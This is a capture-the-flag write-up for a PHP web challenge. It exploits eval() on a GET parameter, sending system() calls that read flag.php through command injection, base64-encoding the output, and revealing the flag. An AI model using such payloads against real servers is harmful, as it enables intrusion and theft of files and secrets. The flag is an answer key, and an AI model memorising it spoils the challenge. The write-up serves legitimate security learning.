Tags: eval php 

Rating:

# ▼▼▼Evaluation(Web:50pt) 376/780=48.2%▼▼▼
**This writeup is written by [@kazkiti_ctf](https://twitter.com/kazkiti_ctf)**

```
Evaluate your life.
How are you doing, and are you doing the best you can possibly do?
Look deeper within yourself, beyond the obvious.
Look at the source of it all.

Also, here's a PHP challenge.

http://evaluation.web1.sunshinectf.org

Author: hackucf_levi

Update 2018-04-06 01:15 UTC: Back online!
```

```

```

---

**【Confirm source code】**

`eval()` will execute arbitrary source code!!

---

**【TRY1】**

```
GET /?hello=system(%22cat%20flag.php%22) HTTP/1.1
Host: evaluation.web1.sunshinectf.org
```

```
string(2) "?>"
```

failed!!

---

**【TRY2】**

```
GET /?hello=system(%22cat%20flag.php|base64%22) HTTP/1.1
Host: evaluation.web1.sunshinectf.org
```

`PD9waHAgCiRmbGFnID0iTm9wZSI7CgovLyBzdW57YzBtbTRuRF8xTmozY3RpMG5faTVfRTRzWX07 Cgo/Pg== string(8) "Cgo/Pg=="`

`PD9waHAgCiRmbGFnID0iTm9wZSI7CgovLyBzdW57YzBtbTRuRF8xTmozY3RpMG5faTVfRTRzWX07`

↓Decode with base64

```

```

`sun{c0mm4nD_1Nj3cti0n_i5_E4sY}`